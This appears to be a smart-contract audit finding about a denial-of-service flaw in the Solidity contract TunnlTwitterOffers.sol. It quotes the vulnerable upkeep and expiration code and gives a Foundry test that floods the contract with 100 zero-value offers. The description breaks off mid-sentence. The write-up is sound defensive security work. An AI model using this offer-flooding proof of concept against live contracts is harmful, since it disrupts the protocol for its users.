MEDIUM severity: An attacker can flood the protocol with false offers to cause DoS. **NOTE:** This finding assumes the protocol fixed the other issue of incomplete implementation of state transition from Pending to Expired.

**Description:** The protocol maintains a set of all offers and they are managed by Chainlink automation functions : `checkUpkeep()` and...

Vulnerable code:
TunnlTwitterOffers.sol
299:     function checkUpkeep(bytes calldata) external view override returns (bool upkeepNeeded, bytes memory performData) {
300:         bytes32[] memory offersToUpkeep = new bytes32[](0);
301:         for (uint256 i = 0; i < s_offersToUpkeep.length(); i++) {
302:             bytes32 offerId = s_offersToUpkeep.at(i);
303:             if (
304:                 _needsVerificationRequest(s_offers[offerId].status, s_offers[offerId].dateToAttemptVerification) ||
305:                 _needsExpiration(s_offers[offerId].status, s_offers[offerId].payoutDate, s_offers[offerId].acceptanceExpirationDate) ||
306:                 _needsPayoutRequest(s_offers[offerId].status, s_offers[offerId].payoutDate)
307:             ) {
308:                 offersToUpkeep = appendOfferToUpkeep(offersToUpkeep, offerId);
309:                 if (offersToUpkeep.length == s_config.automationUpkeepBatchSize) {
310:                     return (true, abi.encode(offersToUpkeep));
311:                 }
312:             }
313:         }
314:         return (offersToUpkeep.length > 0, abi.encode(offersToUpkeep));
315:     }

TunnlTwitterOffers.sol
479:     function _needsExpiration(Status offerStatus, uint32 payoutDate, uint32 acceptanceExpirationDate) internal view returns (bool) {
480:         return (
481:             (acceptanceExpirationDate < block.timestamp && offerStatus == Status.Pending) ||
482:             (payoutDate < block.timestamp &&
483:             (offerStatus == Status.Accepted ||
484:             offerStatus == Status.AwaitingVerification ||
485:             offerStatus == Status.VerificationInFlight ||
486:             offerStatus == Status.VerificationFailed))
487:         );
488:     }

function test_CreateFalseOffers() public {
        uint32 acceptanceDurationSeconds = tunnlTwitterOffers.getConfig().minAcceptanceDurationSeconds;
        uint offerAmount = 0;
        uint maxValueUsdc = tunnlTwitterOffers.getConfig().flatFeeUsdc;

        vm.startPrank(advertiser);
        mockUsdcToken.mint(advertiser, maxValueUsdc);
        mockUsdcToken.approve(address(tunnlTwitterOffers), maxValueUsdc);//@audit-info single allowance of 5 USDC
        for(uint i = 100; i < 200; i++) {
            offerId = bytes32(i);
            tunnlTwitterOffers.createOffer(offerId, offerAmount, acceptanceDurationSeconds, 4 days);

            //@audit-info verifies the offer is created with the correct values
            assertEq(uint(getOffer(offerId).status), 0);
            assertEq(getOffer(offerId).flatFeeUsdc, tunnlTwitterOffers.getConfig().flatFeeUsdc);
            assertEq(getOffer(offerId).advertiserFeePercentageBP, tunnlTwitterOffers.getConfig().advertiserFeePercentageBP);
            assertEq(getOffer(offerId).creationDate, block.timestamp);
            assertEq(getOffer(offerId).acceptanceExpirationDate, block.timestamp + acceptanceDurationSeconds);
            assertEq(getOffer(offerId).advertiser, advertiser);
        }
        vm.stopPrank();
    }